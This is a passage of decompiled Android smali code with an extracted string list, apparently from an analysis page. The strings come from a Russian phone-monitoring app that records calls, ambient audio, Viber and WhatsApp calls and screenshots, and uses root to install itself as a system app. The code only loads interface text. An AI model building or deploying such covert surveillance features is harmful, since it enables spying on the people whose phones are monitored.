                    909const-string v3, "\u0415\u0441\u043b\u0438 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0412\u044b \u0432\u0438\u0434\u0438\u0442\u0435 \u0441\u0440\u0430\u0437\u0443 \u043e\u043a\u043d\u043e \u0432\u0445\u043e\u0434\u0430(\u0431\u0435\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f), \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0443\u0436\u0435 \u043a\u0435\u043c-\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0438 \u043e\u043d \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0443 \u043d\u0430\u0441 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0431\u044b\u043b\u0438 \u0412\u044b \u04
                    911invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    913sget-object v3, Lnet/vkurhandler/cd;->a:Ljava/lang/String;
                    915invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    916move-result-object v2
                    918const-string v3, ". \u0412 \u043f\u0438\u0441\u044c\u043c\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043a\u0430\u0436\u0438\u0442\u0435 IMEI \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430."
                    920invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    921move-result-object v2
                    923invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    924move-result-object v2
                    926invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    928iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    929const/16 v1, 0xf0
                    931const-string v2, "\u041e\u0448\u0438\u0431\u043a\u0430! \u041e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0430\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u044c"
                    933invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    935iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    936const/16 v1, 0xee
                    938const-string v2, "\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a SD \u043a\u0430\u0440\u0442\u0435. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 SD \u043a\u0430\u0440\u0442\u044b \u0432 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0435, \u0430 \u0442\u0430\u043a \u0436\u0435 \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c,\u0447\u0442\u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d \u043a \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0443 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044f"
                    940invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    942iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    943const/16 v1, 0xf5
                    945const-string v2, "\u0411\u0435\u0437 \u043f\u043e\u0434\u0441\u0432\u0435\u0442\u043a\u0438"
                    947invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    949iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    950const/16 v1, 0xf6
                    952const-string v2, "\u0421 \u043f\u043e\u0434\u0441\u0432\u0435\u0442\u043a\u043e\u0439"
                    954invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    956iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    957const/16 v1, 0xf8
                    959const-string v2, "\u0420\u0435\u0436\u0438\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043a\u043b\u044e\u0447\u0435\u043d"
                    961invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    963iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    964const/16 v1, 0xf9
                    966const-string v2, "\u0420\u0435\u0436\u0438\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d"
                    968invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    970iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    971const/16 v1, 0xfa
                    973const-string v2, "\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430"
                    975invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    977iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    978const/16 v1, 0xfb
                    980const-string v2, "\u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043a\u043e\u043c\u0430\u043d\u0434"
                    982invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    984iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    985const/16 v1, 0xfc
                    987const-string v2, "SMS-\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0431\u0443\u0434\u0443\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0441 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430 \u0441\u0447\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 SIM \u043a\u0430\u0440\u0442\u044b \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u0430\u0440\u0438\u0444\u0430\u043c \u043d\u0430 SMS \u0432\u0430\u0448\u0435\u0433\u043e \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430"
                    989invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    991iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    992const/16 v1, 0xfd
                    994const-string v2, "\u0414\u043b\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0434\u0430\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0435\u0436\u0438\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0430 \u0442\u0430\u043a \u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430. \u041f\u0430\u0440\u043e\u043b\u044c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0434\u0430\u0442\u044c \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \"\u0420\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\"(\u043d\u0438\u0436\u0435) \u
                    996invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    998iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    999const/16 v1, 0xfe
                    1001const-string v2, "\u041e\u0442\u043c\u0435\u043d\u0430"
                    1003invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1005iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1006const/16 v1, 0xff
                    1008const-string v2, "\u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u0435\u043c!"
                    1010invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1012iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1013const/16 v1, 0x100
                    1015const-string v2, "\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0437\u0430\u043f\u0438\u0441\u0438"
                    1017invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1019iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1020const/16 v1, 0x101
                    1022const-string v2, "\u0424\u043e\u0440\u043c\u0430\u0442 \u0444\u0430\u0439\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0438"
                    1024invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1026iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1027const/16 v1, 0x102
                    1029const-string v2, "\u041a\u043e\u0434\u0435\u043a \u0437\u0430\u043f\u0438\u0441\u0438"
                    1031invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1033iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1034const/16 v1, 0x103
                    1036const-string v2, "\u0417\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0438"
                    1038invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1040iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1041const/16 v1, 0x104
                    1043const-string v2, "\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c"
                    1045invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1047iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1048const/16 v1, 0x105
                    1050const-string v2, "\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u0438 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f"
                    1052invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1054iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1055const/16 v1, 0x106
                    1057const-string v2, "\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0445 \u0437\u0432\u043e\u043d\u043a\u043e\u0432"
                    1059invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1061iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1062const/16 v1, 0x107
                    1064const-string v2, "\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u043e\u0432 Viber"
                    1066invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1068iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1069const/16 v1, 0x108
                    1071const-string v2, "\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u043e\u0432 WhatsApp"
                    1073invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1075iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1076const/16 v1, 0x109
                    1078const-string v2, "\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c"
                    1080invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1082iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1083const/16 v1, 0x10a
                    1085const-string v2, "\u0414\u043b\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c"
                    1087invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1089iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1090const/16 v1, 0x10b
                    1092const-string v2, "\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b"
                    1094invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1096iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1097const/16 v1, 0x10c
                    1099const-string v2, "\u0414\u0440\u043e\u0431\u043b\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430\u043f\u0438\u0441\u0438"
                    1101invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1103iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1104const/16 v1, 0x10d
                    1106const-string v2, "\u041d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a SD \u043a\u0430\u0440\u0442\u0435. \u0411\u0435\u0437 SD \u043a\u0430\u0440\u0442\u044b \u0412\u044b \u043d\u0435 \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0437\u0432\u043e\u043d\u043a\u0438 \u0438 \u043e\u043a\u0443\u0436\u0435\u043d\u0438\u0435,\u0444\u043e\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0440\u043e\u0432\u0430\u0442\u044c,\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b \u044d\u043a\u0440\u0430\u043d\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b\u0435 \u0441 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u043c\u0435\u0434\u0438\u0430\u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 SD \u043a\u0430\u0
                    1108invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1110iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1111const/16 v1, 0x10e
                    1113const-string v2, "\u0424\u0438\u043b\u044c\u0442\u0440 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0441\u043d\u0438\u043c\u043a\u043e\u0432 \u0441 \u044d\u043a\u0440\u0430\u043d\u0430"
                    1115invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1117iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1118const/16 v1, 0x10f
                    1120const-string v2, "\u0412\u044b\u0431\u0435\u0440\u0438\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435"
                    1122invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1124iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1125const/16 v1, 0x110
                    1127const-string v2, "\u0412\u0441\u0435\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430"
                    1129invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1131iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1132const/16 v1, 0x111
                    1134const-string v2, "\u0412\u0441\u0435\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043a\u0440\u043e\u043c\u0435 \u0441\u043f\u0438\u0441\u043a\u0430"
                    1136invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1138iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1139const/16 v1, 0x112
                    1141const-string v2, "\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d. \u0415\u0441\u043b\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u043d\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b\u0441\u044f \u0437\u0430 5 \u043c\u0438\u043d\u0443\u0442, \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u0435 \u0435\u0433\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e. \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c?"
                    1143invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1145iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1146const/16 v1, 0x113
                    1148const-string v2, "\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e, \u043a\u0430\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0435"
                    1150invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1152iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1153const/16 v1, 0x114
                    1155const-string v2, "\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b"
                    1157invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1159iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1160const/16 v1, 0x115
                    1162const-string v2, "\u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b,\u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 Root \u043f\u0440\u0430\u0432\u0430,\u0430 \u0442\u0430\u043a \u0436\u0435 \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c,\u0447\u0442\u043e \u043d\u0435\u0442 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b"
                    1164invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1166iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1167const/16 v1, 0x116
                    1169const-string v2, "\u0414\u043b\u044f \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 5 \u0438 \u0432\u044b\u0448\u0435"
                    1171invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1173iget-object v0, p0, Lnet/vkurhandler/bg;->a:Landroid/util/SparseArray;
                    1174const/16 v1, 0x117
                    1176const-string v2, "\u042d\u043d\u0435\u0440\u0433\u043e\u0441\u0431\u0435\u0440\u0435\u0436\u0435\u043d\u0438\u0435"
                    1178invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1179return-void
                    Cross References
                    APIs
                    • android.util.SparseArray.<init>
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • java.lang.StringBuilder.<init>
                    • android.os.Build.MODEL:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    Strings
                    • Unable to move the application to the system partition, check the Root of law, as well as make sure that there is no write-protect the system partition
                    • Application success moved to system partition
                    • The application is installed as a system
                    • In the case of a successful operation, the phone automatically restarts. If phone not reboot in 5 minutes, reboot it manualy. Continue?
                    • Filter applications for screenshots
                    • Select an application
                    • all applications from the list
                    • all applications except the list
                    • No access to the SD card. Without an SD card, you can not record calls and okuzhenie, pictures, screenshots, and perform other operations tied to the transfer of media files. Check the SD card in your phone.
                    • Split file record
                    • Settings saved successfully
                    • To save the new settings, you must stop the current record
                    • Stop
                    • Record source
                    • File format
                    • Record codec
                    • Delay before record
                    • Save
                    • Settings record environment
                    • Settings record phone calls
                    • Settings record Viber calls
                    • Settings record WhatsApp calls
                    • Congratulations!
                    • Cancel
